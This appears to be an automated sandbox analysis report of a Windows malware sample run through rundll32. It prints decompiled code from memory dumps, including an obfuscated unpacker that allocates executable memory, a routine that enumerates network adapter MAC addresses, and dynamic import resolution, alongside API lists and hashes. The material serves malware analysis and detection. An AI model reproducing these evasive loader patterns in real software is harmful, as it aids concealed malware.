					_t33 = E04B218A7(_t39, _t46, _t55, _t58, _t66,  *((intOrPtr*)(_t39 + 0x41b9dc)),  *((intOrPtr*)(_t39 + 0x41bc2d)));
				}
				 *_t17 =  *(_t39 + 0x41bba2);
				_t47 =  *((intOrPtr*)(_t70 - 4));
				_t50 = _t47;
				_t41 = _t58 & 0x00000000 ^ _t47 ^  *_t72 ^  *(_t39 + 0x41b1df) | _t58 & 0x00000000 ^ _t47 ^  *_t72 ^  *(_t39 + 0x41b1df);
				_t61 = _t41;
				_t42 = _t39;
				if(_t41 != 0) {
					_t33 = E04B2344C(_t33, _t42, _t50, _t55, _t61, _t66, _t61);
				}
				 *_t72 =  *_t72 ^ _t33;
				_t34 = _t33;
				_t35 = memset(_t61, _t34, _t50 << 0);
				_t73 =  &(_t72[3]);
				_t62 = _t61 + _t50;
				if( *((intOrPtr*)(_t42 + 0x41bc2d)) != _t42) {
					_t36 = E04B228A5(_t42, 0, _t55, _t62, _t66,  *((intOrPtr*)(_t42 + 0x41bc2d))); // executed
					_t35 = E04B23607(_t36, _t42, _t55, _t62, _t66,  *((intOrPtr*)(_t42 + 0x41bc2d)));
				}
				_push(_t66);
				 *((intOrPtr*)(_t70 - 4)) = 0;
				 *(_t70 + 4) =  *(_t70 + 4) & 0x00000000;
				 *(_t70 + 4) =  *(_t70 + 4) | 0x0 -  *((intOrPtr*)(_t70 - 4)) ^ (_t55 & 0x00000000 | _t66 ^  *_t73 ^  *(_t42 + 0x41bb25));
				asm("popad");
				return _t35;
			}

0x04b21313
0x04b21313
0x04b21313
0x04b21313
0x04b21313
0x04b2131b
0x04b2131d
0x04b2131f
0x04b21320
0x04b21331
0x04b21331
0x04b21338
0x04b2133e
0x04b2134e
0x04b21355
0x04b2135b
0x04b21363
0x04b2137a
0x04b2137a
0x04b21382
0x04b21390
0x04b21390
0x04b2139b
0x04b213a1
0x04b213b1
0x04b213b5
0x04b213b7
0x04b213b9
0x04b213ba
0x04b213bd
0x04b213bd
0x04b213c3
0x04b213c6
0x04b213c7
0x04b213c7
0x04b213c7
0x04b213cf
0x04b213d7
0x04b213e2
0x04b213e2
0x04b213e7
0x04b213f7
0x04b213ff
0x04b21403
0x04b21409
0x04b2140b

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 04B21331
VirtualProtect.KERNELBASE(?,?,00000040,?,00000000), ref: 04B2137A

Memory Dump Source

Source File: 00000002.00000002.315647901.0000000004B20000.00000040.00000001.sdmp, Offset: 04B20000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: ad3e9e191640d8f17585186ff85a764063504bfb5ddd7cc463d2a8a0e43b4edb
Instruction ID: 3f3881ce3f780e2e70425c86d1c86da1a2fc56a9b22840edcd69ae3077ebca26
Opcode Fuzzy Hash: ad3e9e191640d8f17585186ff85a764063504bfb5ddd7cc463d2a8a0e43b4edb
Instruction Fuzzy Hash: 4E218272514110EFFF059FA4C9D5BE97BA5EF08300F1940EAEE4DAE159CB7129209BA8

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 4592 Parent PID: 6920 rundll32.exeCOMMON

Executed Functions

Function 100011A0, Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 162
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E100011A0(void* __ebx, long __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				long _v8;
				char _v16;
				signed int _v20;
				char _v52;
				intOrPtr _v56;
				long _v60;
				char _v76;
				char _v112;
				long _v116;
				void* _v120;
				long _v124;
				void* __ebp;
				signed int _t41;
				signed int _t42;
				void* _t46;
				void* _t49;
				void* _t50;
				void* _t51;
				void* _t52;
				intOrPtr* _t55;
				intOrPtr* _t57;
				char* _t61;
				char* _t63;
				intOrPtr _t85;
				void* _t90;
				long _t93;
				void* _t95;
				void* _t96;
				intOrPtr* _t97;
				intOrPtr* _t100;
				intOrPtr* _t101;
				signed int _t102;
				void* _t103;
				void* _t104;
				void* _t105;

				_t76 = __ebx;
				_push(0xffffffff);
				_push(E10009318);
				_push( *[fs:0x0]);
				_t104 = _t103 - 0x6c;
				_t41 =  *0x1000d004; // 0xa8dded82
				_t42 = _t41 ^ _t102;
				_v20 = _t42;
				_push(_t42);
				 *[fs:0x0] =  &_v16;
				_t93 = __ecx;
				_v124 = __ecx;
				_v116 = __ecx;
				_v60 = 0;
				_v56 = 0xf;
				_v76 = 0;
				E10006CC0(__ebx,  &_v76, __edx, "NONE", 4);
				_v8 = 0;
				_v116 = 0x288;
				_t46 = HeapAlloc(GetProcessHeap(), 0, 0x288);
				_v120 = _t46;
				if(_t46 == 0) {
					L20:
					asm("movups xmm0, [ebp-0x48]");
					 *(_t93 + 0x10) = 0;
					 *(_t93 + 0x14) = 0;
					asm("movups [edi], xmm0");
					asm("movq xmm0, [ebp-0x38]");
					asm("movq [edi+0x10], xmm0");
					 *[fs:0x0] = _v16;
					return E10008280(_t93, _v20 ^ _t102);
				}
				_t100 = __imp__GetAdaptersInfo;
				_t49 =  *_t100(_t46,  &_v116); // executed
				_t50 = _v120;
				if(_t49 != 0x6f) {
					L3:
					_t51 =  *_t100(_t50,  &_v116); // executed
					if(_t51 != 0) {
						L18:
						_t52 = _v120;
						if(_t52 != 0) {
							HeapFree(GetProcessHeap(), 0, _t52);
						}
						goto L20;
					}
					_t55 = _v120;
					_t101 = _t55;
					if(_t55 == 0) {
						goto L20;
					} else {
						_t90 = "%.2X\n";
						do {
							_t95 = 0;
							if( *((intOrPtr*)(_t101 + 0x190)) == 0) {
								L9:
								_t91 = _t101 + 0x1b0;
								_t57 = _t101 + 0x1b0;
								_t96 = _t57 + 1;
								do {
									_t85 =  *_t57;
									_t57 = _t57 + 1;
								} while (_t85 != 0);
								goto L11;
							}
							do {
								_t88 =  ==  ? _t90 : "%.2X-";
								E100010E0( *(_t101 + _t95 + 0x194) & 0x000000ff,  ==  ? _t90 : "%.2X-",  *(_t101 + _t95 + 0x194) & 0x000000ff);
								_t95 = _t95 + 1;
								_t104 = _t104 + 8;
								_t90 = "%.2X\n";
							} while (_t95 <  *((intOrPtr*)(_t101 + 0x190)));
							goto L9;
							L11:
							E10006CC0(_t76,  &_v76, _t91, _t91, _t57 - _t96);
							if( *((intOrPtr*)(_t101 + 0x1a4)) != 0) {
								_t61 =  &_v112;
								__imp___localtime32_s(_t61, _t101 + 0x278);
								_t97 = __imp__asctime_s;
								_t105 = _t104 + 8;
								if(_t61 == 0) {
									 *_t97( &_v52, 0x20,  &_v112);
									_t105 = _t105 + 0xc;
								}
								_t63 =  &_v112;
								__imp___localtime32_s(_t63, _t101 + 0x280);
								_t104 = _t105 + 8;
								if(_t63 == 0) {
									 *_t97( &_v52, 0x20,  &_v112);
									_t104 = _t104 + 0xc;
								}
							}
							_t101 =  *_t101;
							_t90 = "%.2X\n";
						} while (_t101 != 0);
						_t93 = _v124;
						goto L18;
					}
				}
				HeapFree(GetProcessHeap(), 0, _t50);
				_t50 = HeapAlloc(GetProcessHeap(), 0, _v116);
				_v120 = _t50;
				if(_t50 == 0) {
					goto L20;
				}
				goto L3;
			}

APIs

Part of subcall function 10006CC0: memmove.VCRUNTIME140(?,00000000,10003B99,00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006CED

GetProcessHeap.KERNEL32(00000000,00000288,NONE,00000004,A8DDED82,?), ref: 10001208
HeapAlloc.KERNEL32(00000000), ref: 1000120F
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 1000122B
GetProcessHeap.KERNEL32(00000000,?), ref: 10001238
HeapFree.KERNEL32(00000000), ref: 1000123F
GetProcessHeap.KERNEL32(00000000,00000288), ref: 1000124A
HeapAlloc.KERNEL32(00000000), ref: 10001251
GetAdaptersInfo.IPHLPAPI(?,00000288), ref: 10001267
_printf.MSPDB140-MSVCRT ref: 100012A5
_localtime32_s.API-MS-WIN-CRT-TIME-L1-1-0(?,?,?,?), ref: 100012EF
asctime_s.API-MS-WIN-CRT-TIME-L1-1-0(?,00000020,?), ref: 1000130C
_localtime32_s.API-MS-WIN-CRT-TIME-L1-1-0(?,?), ref: 1000131C
asctime_s.API-MS-WIN-CRT-TIME-L1-1-0(?,00000020,?), ref: 10001333
GetProcessHeap.KERNEL32(00000000,?), ref: 10001354
HeapFree.KERNEL32(00000000), ref: 1000135B

Strings

Fbw, xrefs: 1000120F, 10001251
%.2X, xrefs: 1000127E, 100012B4, 1000133A
NONE, xrefs: 100011D4
Ut Ot, xrefs: 1000123F, 1000135B
%.2X-, xrefs: 10001291, 100012A4

Memory Dump Source

Source File: 00000003.00000002.873344164.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.873318832.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Process$AdaptersAllocFreeInfo_localtime32_sasctime_s$_printfmemmove
String ID: Fbw$ Ut Ot$%.2X$%.2X-$NONE
API String ID: 1572001147-231294466
Opcode ID: 6bc89b949acc6b007575d6b8cd84f4fddd927622560db19eedfbbec3be685a5b
Instruction ID: 2aa37cd981f6498b8cf1ab622d55f680c970cab8341b2b3d9d4bf3aa31252f33
Opcode Fuzzy Hash: 6bc89b949acc6b007575d6b8cd84f4fddd927622560db19eedfbbec3be685a5b
Instruction Fuzzy Hash: 59518171900719ABEB10DBB4CC48BEEB7F8FF49380F154629E905E7244DB75EA448B60

Uniqueness

Uniqueness Score: -1.00%

Function 043A43BB, Relevance: 3.8, APIs: 2, Instructions: 774COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.872769981.00000000043A0000.00000040.00000001.sdmp, Offset: 043A0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a16a34b03b04a3993c66ce32afd9ca6471c069cf098100eb8cfa6a317db67035
Instruction ID: af64e14fbe7098bb1372ebda56427471be142a75fbc0c6a699d7c5e0960db35e
Opcode Fuzzy Hash: a16a34b03b04a3993c66ce32afd9ca6471c069cf098100eb8cfa6a317db67035
Instruction Fuzzy Hash: 22728E72944215DFFF04CFA0C889BAA7BB1FF44315F0885A9DD29AE19AC7741464CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 043A4726, Relevance: 3.5, APIs: 2, Instructions: 520COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.872769981.00000000043A0000.00000040.00000001.sdmp, Offset: 043A0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ce6ffc798d8660951e0b993404000b5c33085f367b08373ffa742b38eda970d
Instruction ID: ef0b780a6a61d86bf9d7bd2ab2e16f3fa04636f659508dc5b934a795a9b49a61
Opcode Fuzzy Hash: 2ce6ffc798d8660951e0b993404000b5c33085f367b08373ffa742b38eda970d
Instruction Fuzzy Hash: B9329F72844225DFEF04CFA0C9897EA7BB4FF44315F0885A9DD69AE19AC7742460CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 043A4822, Relevance: 3.5, APIs: 2, Instructions: 484
libraryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 29%

			E043A4822(signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t329;
				signed int _t331;
				signed int _t333;
				signed int _t334;
				signed int _t336;
				signed int _t338;
				signed int _t340;
				signed int _t341;
				intOrPtr _t343;
				signed int _t345;
				signed int _t348;
				signed int _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t357;
				intOrPtr* _t359;
				signed int _t362;
				intOrPtr* _t364;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				signed int _t369;
				signed int _t370;
				intOrPtr _t372;
				signed int _t373;
				signed int _t375;
				signed int _t376;
				signed int _t381;
				signed int _t384;
				signed int _t387;
				signed int _t390;
				signed int _t392;
				signed int _t393;
				signed int _t416;
				signed int _t419;
				signed int _t422;
				signed int _t443;
				signed int _t454;
				signed int _t456;
				signed int _t457;
				signed int _t460;
				signed int _t463;
				signed int _t467;
				void* _t469;
				signed int* _t487;
				signed int _t488;
				signed int _t489;
				signed int _t490;
				signed int _t500;
				signed int* _t508;

				_t454 = __esi;
				_t416 = __edx;
				_t387 = __ecx;
				 *((intOrPtr*)(_t500 + 0x2a)) =  *((intOrPtr*)(_t500 + 0x2a)) + __edx;
				_push( *0x00836B21);
				_push( *0x00837199);
				_t329 =  *0x04D377CC();
				 *(_t500 - 0x10) = __edi;
				 *0x00836D98 =  *0x00836D98 & 0x00000000;
				 *0x00836D98 =  *0x00836D98 | __edi & 0x00000000 | _t329;
				_t443 =  *(_t500 - 0x10);
				while(1) {
					L7:
					 *(_t500 - 0x10) = 0x41b6cc;
					_t456 = _t454 & 0x00000000 | 0 ^  *_t443;
					_t381 =  *(_t500 - 0x10);
					if( *(_t381 + 0x41b62d) == 0) {
						_t329 =  *((intOrPtr*)(_t381 + 0x491c100))( *((intOrPtr*)(_t381 + 0x41bcbb)),  *((intOrPtr*)(_t381 + 0x41b30b)));
						 *(_t500 - 0x10) = _t387;
						 *(_t381 + 0x41b62d) =  *(_t381 + 0x41b62d) & 0x00000000;
						 *(_t381 + 0x41b62d) =  *(_t381 + 0x41b62d) | _t387 & 0x00000000 ^ _t329;
						_t387 =  *(_t500 - 0x10);
					}
					while(1) {
						_t41 = _t443 + 0x10; // 0x83e41433
						_push( *_t41);
						if( *(_t381 + 0x41b4dd) == 0) {
							_t329 =  *((intOrPtr*)(_t381 + 0x491c10c))( *((intOrPtr*)(_t381 + 0x41bb1a)), 0);
							 *(_t500 - 0x10) = _t387;
							 *(_t381 + 0x41b4dd) = 0 ^ _t329;
							_t387 =  *(_t500 - 0x10);
						}
						_pop( *_t48);
						if( *((intOrPtr*)(_t381 + 0x41bb8c)) == 0) {
							_t329 =  *((intOrPtr*)(_t381 + 0x491c07c))( *((intOrPtr*)(_t381 + 0x41bae2)));
							 *_t52 = _t329;
							_push( *(_t500 - 0x10));
							_pop( *_t54);
						}
						 *(_t500 - 0x10) = _t387;
						_t331 = _t329 & 0x00000000 | _t387 ^  *(_t500 - 0x10) ^  *(_t500 + 8);
						_t390 =  *(_t500 - 0x10);
						if( *(_t381 + 0x41b609) == 0) {
							_t376 =  *((intOrPtr*)(_t381 + 0x491c10c))( *((intOrPtr*)(_t381 + 0x41bc31)), _t443, _t331);
							 *(_t500 - 0x10) = _t443;
							 *(_t381 + 0x41b609) =  *(_t381 + 0x41b609) & 0x00000000;
							 *(_t381 + 0x41b609) =  *(_t381 + 0x41b609) | _t443 ^  *(_t500 - 0x10) | _t376;
							_t443 =  *(_t500 - 0x10);
							_t331 =  *_t508;
							_t508 = _t508 - 0xfffffffc;
						}
						 *(_t500 - 4) =  *(_t500 - 4) + _t331;
						if( *(_t381 + 0x41b9a3) == 0) {
							_t375 =  *((intOrPtr*)(_t381 + 0x491c074))();
							 *(_t500 - 0x10) = _t443;
							 *(_t381 + 0x41b9a3) =  *(_t381 + 0x41b9a3) & 0x00000000;
							 *(_t381 + 0x41b9a3) =  *(_t381 + 0x41b9a3) | _t443 ^  *(_t500 - 0x10) ^ _t375;
							_t443 =  *(_t500 - 0x10);
						}
						_t80 = _t443 + 0xc; // 0xd229fcec
						_t392 = _t390 & 0x00000000 ^ (_t381 ^  *_t508 |  *_t80);
						_t384 = _t381;
						if( *((intOrPtr*)(_t384 + 0x41b0c8)) == 0) {
							 *_t83 =  *((intOrPtr*)(_t384 + 0x491c074))(_t392);
							 *_t85 =  *(_t500 - 0x10);
							_t392 =  *_t508;
							_t508 =  &(_t508[1]);
						}
						_t393 = _t392 +  *(_t500 + 8);
						if( *(_t384 + 0x41b5e5) == 0) {
							_t373 =  *((intOrPtr*)(_t384 + 0x491c100))(_t393, _t393);
							 *(_t500 - 0x10) = _t456;
							 *(_t384 + 0x41b5e5) =  *(_t384 + 0x41b5e5) & 0x00000000;
							 *(_t384 + 0x41b5e5) =  *(_t384 + 0x41b5e5) | _t456 ^  *(_t500 - 0x10) | _t373;
							_t456 =  *(_t500 - 0x10);
							 *_t96 = 0;
							_t393 = (_t393 & 0x00000000) +  *(_t500 - 0x10);
						}
						_t457 = _t456 +  *(_t500 + 8);
						if( *((intOrPtr*)(_t384 + 0x41bc92)) == 0) {
							_t372 =  *((intOrPtr*)(_t384 + 0x491c074))();
							 *(_t500 - 0x10) = _t393;
							 *((intOrPtr*)(_t384 + 0x41bc92)) = _t372;
							 *_t104 = _t393;
							_t393 =  *(_t500 - 0x10) & 0x00000000 |  *(_t500 - 0x10);
						}
						_t106 = _t384 + 0x41ba21; // 0x836db5
						_t333 =  *((intOrPtr*)(_t384 + 0x491c078))(_t393);
						 *(_t500 - 0x10) = _t457;
						 *(_t384 + 0x41b1cf) =  *(_t384 + 0x41b1cf) & 0x00000000;
						 *(_t384 + 0x41b1cf) =  *(_t384 + 0x41b1cf) ^ (_t457 ^  *(_t500 - 0x10) | _t333);
						_t460 =  *(_t500 - 0x10);
						_t334 = LoadLibraryA(_t106);
						if( *(_t384 + 0x41b963) == 0) {
							_t370 =  *((intOrPtr*)(_t384 + 0x491c10c))( *((intOrPtr*)(_t384 + 0x41b0c4)), 0xffffffff, _t334);
							 *(_t384 + 0x41b963) =  *(_t384 + 0x41b963) & 0x00000000;
							 *(_t384 + 0x41b963) =  *(_t384 + 0x41b963) ^ _t416 -  *_t508 ^ _t370;
							_t416 = _t416;
							_pop( *_t123);
							_t334 = (_t370 & 0x00000000) +  *(_t500 - 0x10);
						}
						 *_t125 = _t334;
						 *_t127 =  *(_t500 - 0x10);
						if( *(_t384 + 0x41b933) == 0) {
							_t334 =  *((intOrPtr*)(_t384 + 0x491c074))();
							 *(_t500 - 0x10) = _t443;
							 *(_t384 + 0x41b933) =  *(_t384 + 0x41b933) & 0x00000000;
							 *(_t384 + 0x41b933) =  *(_t384 + 0x41b933) ^ _t443 -  *(_t500 - 0x10) ^ _t334;
							_t443 =  *(_t500 - 0x10);
						}
						do {
							L27:
							if(( *_t460 & 0x80000000) != 0) {
								_push( *_t460);
								if( *((intOrPtr*)(_t384 + 0x41b5c1)) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c108))();
									 *_t191 = _t334;
									 *_t193 =  *(_t500 - 0x10);
								}
								_pop( *_t194);
								if( *(_t384 + 0x41b217) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c110))(_t393);
									 *_t508 = _t460;
									 *(_t384 + 0x41b217) = 0 ^ _t334;
									_t460 = 0;
								}
								 *(_t500 - 0xc) =  *(_t500 - 0xc) & 0x0000ffff;
								if( *((intOrPtr*)(_t384 + 0x41b5d9)) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c10c))(_t508,  *((intOrPtr*)(_t384 + 0x41b559)));
									 *_t203 = _t334;
									_push( *(_t500 - 0x10));
									_pop( *_t205);
								}
							} else {
								_t139 = _t384 + 0x41b665; // 0x8369f9
								_t348 =  *((intOrPtr*)(_t384 + 0x491c078))(_t139);
								 *(_t500 - 0x10) = _t460;
								 *(_t384 + 0x41b4e5) =  *(_t384 + 0x41b4e5) & 0x00000000;
								 *(_t384 + 0x41b4e5) =  *(_t384 + 0x41b4e5) ^ _t460 & 0x00000000 ^ _t348;
								_t487 =  *(_t500 - 0x10);
								_push(_t487);
								if( *(_t384 + 0x41b861) == 0) {
									_t353 =  *((intOrPtr*)(_t384 + 0x491c10c))( *((intOrPtr*)(_t384 + 0x41b0cc)), 0xffffffff);
									 *(_t384 + 0x41b861) =  *(_t384 + 0x41b861) & 0x00000000;
									 *(_t384 + 0x41b861) =  *(_t384 + 0x41b861) ^ _t487 -  *_t508 ^ _t353;
									_t487 = _t487;
								}
								_t488 =  *_t487;
								if( *(_t384 + 0x41b9ab) == 0) {
									_t352 =  *((intOrPtr*)(_t384 + 0x491c07c))(_t508);
									 *(_t500 - 0x10) = _t488;
									 *(_t384 + 0x41b9ab) =  *(_t384 + 0x41b9ab) & 0x00000000;
									 *(_t384 + 0x41b9ab) =  *(_t384 + 0x41b9ab) ^ _t488 & 0x00000000 ^ _t352;
									_t488 =  *(_t500 - 0x10);
								}
								_t489 = _t488 +  *(_t500 + 8);
								if( *(_t384 + 0x41b8d8) == 0) {
									_t351 =  *((intOrPtr*)(_t384 + 0x491c074))();
									 *(_t500 - 0x10) = _t489;
									 *(_t384 + 0x41b8d8) = 0 ^ _t351;
									_t489 =  *(_t500 - 0x10);
								}
								_t490 = _t489 + 2;
								_t416 = _t416;
								if( *(_t384 + 0x41b631) == 0) {
									_t350 =  *((intOrPtr*)(_t384 + 0x491c07c))(_t508);
									 *(_t384 + 0x41b631) =  *(_t384 + 0x41b631) & 0x00000000;
									 *(_t384 + 0x41b631) =  *(_t384 + 0x41b631) ^ (_t393 ^  *_t508 | _t350);
									_t393 = _t393;
								}
								 *(_t500 - 0xc) =  *(_t500 - 0xc) & 0x00000000;
								 *(_t500 - 0xc) =  *(_t500 - 0xc) | _t443 & 0x00000000 | _t490;
								_t443 = _t443;
								_t178 = _t384 + 0x41baa6; // 0x836e3a
								_t334 =  *((intOrPtr*)(_t384 + 0x491c078))(_t178);
								 *(_t384 + 0x41b619) =  *(_t384 + 0x41b619) & 0x00000000;
								 *(_t384 + 0x41b619) =  *(_t384 + 0x41b619) | _t500 -  *_t508 ^ _t334;
								_t500 = _t500;
								_t460 = (_t490 & 0x00000000) +  *_t508;
								_t508 =  &(_t508[1]);
								if( *(_t384 + 0x41b197) == 0) {
									_t334 =  *((intOrPtr*)(_t384 + 0x491c074))();
									 *(_t500 - 0x10) = _t460;
									 *(_t384 + 0x41b197) = _t334;
									_t460 =  *(_t500 - 0x10);
								}
							}
							_t336 = _t334 & 0x00000000 ^ _t416 & 0x00000000 ^  *(_t500 - 0xc);
							_t419 = _t416;
							if( *(_t384 + 0x41b718) == 0) {
								_t369 =  *((intOrPtr*)(_t384 + 0x491c10c))(1, _t336);
								 *(_t384 + 0x41b718) =  *(_t384 + 0x41b718) & 0x00000000;
								 *(_t384 + 0x41b718) =  *(_t384 + 0x41b718) ^ _t500 ^  *_t508 ^ _t369;
								_t500 = _t500;
							}
							_t214 = _t384 + 0x41bb29; // 0x836d98
							_t338 =  *((intOrPtr*)(_t384 + 0x491c078))(_t214,  *(_t500 - 0xc));
							 *(_t500 - 0x10) = _t460;
							 *(_t384 + 0x41bc65) =  *(_t384 + 0x41bc65) & 0x00000000;
							 *(_t384 + 0x41bc65) =  *(_t384 + 0x41bc65) | _t460 & 0x00000000 | _t338;
							_t463 =  *(_t500 - 0x10);
							_t340 = _t338 & 0x00000000 ^ (_t393 ^  *_t508 |  *(_t500 - 8));
							_t393 = _t393;
							if( *(_t384 + 0x41b80d) == 0) {
								_t367 =  *((intOrPtr*)(_t384 + 0x491c108))();
								 *(_t384 + 0x41b80d) =  *(_t384 + 0x41b80d) & 0x00000000;
								 *(_t384 + 0x41b80d) =  *(_t384 + 0x41b80d) ^ (_t500 -  *_t508 | _t367);
								_t500 = _t500;
								 *_t229 = _t340;
								_t340 = _t367 & 0x00000000 |  *(_t500 - 0x10);
							}
							_push(_t340);
							if( *(_t384 + 0x41b233) == 0) {
								_t366 =  *((intOrPtr*)(_t384 + 0x491c108))();
								 *(_t384 + 0x41b233) =  *(_t384 + 0x41b233) & 0x00000000;
								 *(_t384 + 0x41b233) =  *(_t384 + 0x41b233) ^ _t463 & 0x00000000 ^ _t366;
								_t463 = _t463; // executed
							}
							_t341 = GetProcAddress();
							if( *(_t384 + 0x41b9e8) == 0) {
								_t239 = _t384 + 0x41b56d; // 0x8367dc
								_t364 = _t239;
								 *_t364 = 0x30;
								_t365 =  *((intOrPtr*)(_t384 + 0x491c104))(_t364, _t341);
								 *(_t384 + 0x41b9e8) =  *(_t384 + 0x41b9e8) & 0x00000000;
								 *(_t384 + 0x41b9e8) =  *(_t384 + 0x41b9e8) ^ _t463 & 0x00000000 ^ _t365;
								_t463 = _t463;
								 *_t245 = 0;
								_t341 =  *(_t500 - 0x10);
							}
							_push(_t463);
							if( *(_t384 + 0x41bb2c) == 0) {
								_t362 =  *((intOrPtr*)(_t384 + 0x491c074))();
								 *(_t384 + 0x41bb2c) =  *(_t384 + 0x41bb2c) & 0x00000000;
								 *(_t384 + 0x41bb2c) =  *(_t384 + 0x41bb2c) ^ _t393 -  *_t508 ^ _t362;
								_t393 = _t393;
								 *_t253 = _t341;
								_t341 = _t362 & 0x00000000 ^  *(_t500 - 0x10);
							}
							 *(_t500 - 0x10) = _t384;
							_t384 =  *(_t500 - 0x10);
							_t258 = _t384 + 0x41b0e9; // 0x41b0e9
							_t343 =  *((intOrPtr*)(_t384 + 0x491c078))(_t341);
							 *(_t500 - 0x10) = 0 ^  *(_t500 - 4);
							 *((intOrPtr*)(_t384 + 0x41b223)) = _t343;
							_t467 =  *(_t500 - 0x10);
							 *_t263 = _t258;
							 *_t508 = _t419;
							 *_t467 = 0 ^  *(_t500 - 0x10);
							_t422 = 0;
							if( *((intOrPtr*)(_t384 + 0x41b1e3)) == 0) {
								 *_t267 =  *((intOrPtr*)(_t384 + 0x491c10c))(_t467, 0xffffffff);
								 *_t269 =  *(_t500 - 0x10);
							}
							_pop( *_t270);
							_t469 = (_t467 & 0x00000000) +  *(_t500 - 0x10);
							if( *((intOrPtr*)(_t384 + 0x41b61d)) == 0) {
								_t273 = _t384 + 0x41b89c; // 0x41b89c
								_t359 = _t273;
								 *_t359 = 0x30;
								_push( *((intOrPtr*)(_t384 + 0x491c104))( *((intOrPtr*)(_t384 + 0x41b141)), _t359));
								_pop( *_t276);
								_push( *(_t500 - 0x10));
								_pop( *_t278);
							}
							 *_t508 = 4;
							_t345 = _t422;
							if( *(_t384 + 0x41bafa) == 0) {
								_t357 =  *((intOrPtr*)(_t384 + 0x491c108))(_t345);
								 *(_t384 + 0x41bafa) =  *(_t384 + 0x41bafa) & 0x00000000;
								 *(_t384 + 0x41bafa) =  *(_t384 + 0x41bafa) | _t393 & 0x00000000 ^ _t357;
								_t393 = _t393;
								_t345 =  *_t508;
								_t508 = _t508 - 0xfffffffc;
							}
							_t460 = _t469 + _t345;
							if( *((intOrPtr*)(_t384 + 0x41bba6)) == 0) {
								 *_t287 =  *((intOrPtr*)(_t384 + 0x491c07c))(0x1cc, _t345);
								 *_t289 =  *(_t500 - 0x10);
								_t345 = 0 ^  *_t508;
								_t508 = _t508 - 0xfffffffc;
							}
							 *(_t500 - 4) =  *(_t500 - 4) + _t345;
							_t292 = _t384 + 0x41bb97; // 0x41bb97
							_t334 =  *((intOrPtr*)(_t384 + 0x491c078))(_t292);
							 *(_t500 - 0x10) = _t422;
							 *(_t384 + 0x41bb30) = _t334;
							_t416 =  *(_t500 - 0x10);
						} while ( *_t460 != 0);
						if( *(_t384 + 0x41ba8a) == 0) {
							_t329 =  *((intOrPtr*)(_t384 + 0x491c110))(0xfffff91d);
							 *(_t384 + 0x41ba8a) =  *(_t384 + 0x41ba8a) & 0x00000000;
							 *(_t384 + 0x41ba8a) =  *(_t384 + 0x41ba8a) | _t460 ^  *_t508 | _t329;
							_t454 = _t460;
						}
						_t443 = _t443 + 0x14;
						_t387 = _t393;
						if( *(_t384 + 0x41b1eb) == 0) {
							_t329 =  *((intOrPtr*)(_t384 + 0x491c0fc))( *((intOrPtr*)(_t384 + 0x41b0f9)));
							 *_t508 = _t416;
							 *(_t384 + 0x41b1eb) = _t329;
							_t416 = 0;
						}
						if( *_t443 != 0) {
							L1:
							if( *_t443 != 0) {
								goto L7;
							} else {
								if( *(_t384 + 0x41b2ab) == 0) {
									_t329 =  *((intOrPtr*)(_t384 + 0x491c074))();
									 *(_t500 - 0x10) = _t416;
									 *(_t384 + 0x41b2ab) =  *(_t384 + 0x41b2ab) & 0x00000000;
									 *(_t384 + 0x41b2ab) =  *(_t384 + 0x41b2ab) | _t416 & 0x00000000 | _t329;
									_t416 =  *(_t500 - 0x10);
								}
								 *(_t500 - 0x10) = _t416;
								_t21 = _t443 + 0x10; // 0x83e41433
								_t456 = _t460 & 0x00000000 | _t416 & 0x00000000 ^  *_t21;
								_t416 =  *(_t500 - 0x10);
								if( *(_t384 + 0x41b734) == 0) {
									_t329 =  *((intOrPtr*)(_t384 + 0x491c10c))( *((intOrPtr*)(_t384 + 0x41b34c)), 0);
									 *(_t500 - 0x10) = _t456;
									 *(_t384 + 0x41b734) = _t329;
									_t456 =  *(_t500 - 0x10);
								}
								_t41 = _t443 + 0x10; // 0x83e41433
								_push( *_t41);
								if( *(_t381 + 0x41b4dd) == 0) {
									_t329 =  *((intOrPtr*)(_t381 + 0x491c10c))( *((intOrPtr*)(_t381 + 0x41bb1a)), 0);
									 *(_t500 - 0x10) = _t387;
									 *(_t381 + 0x41b4dd) = 0 ^ _t329;
									_t387 =  *(_t500 - 0x10);
								}
								_pop( *_t48);
								if( *((intOrPtr*)(_t381 + 0x41bb8c)) == 0) {
									_t329 =  *((intOrPtr*)(_t381 + 0x491c07c))( *((intOrPtr*)(_t381 + 0x41bae2)));
									 *_t52 = _t329;
									_push( *(_t500 - 0x10));
									_pop( *_t54);
								}
								 *(_t500 - 0x10) = _t387;
								_t331 = _t329 & 0x00000000 | _t387 ^  *(_t500 - 0x10) ^  *(_t500 + 8);
								_t390 =  *(_t500 - 0x10);
								if( *(_t381 + 0x41b609) == 0) {
									_t376 =  *((intOrPtr*)(_t381 + 0x491c10c))( *((intOrPtr*)(_t381 + 0x41bc31)), _t443, _t331);
									 *(_t500 - 0x10) = _t443;
									 *(_t381 + 0x41b609) =  *(_t381 + 0x41b609) & 0x00000000;
									 *(_t381 + 0x41b609) =  *(_t381 + 0x41b609) | _t443 ^  *(_t500 - 0x10) | _t376;
									_t443 =  *(_t500 - 0x10);
									_t331 =  *_t508;
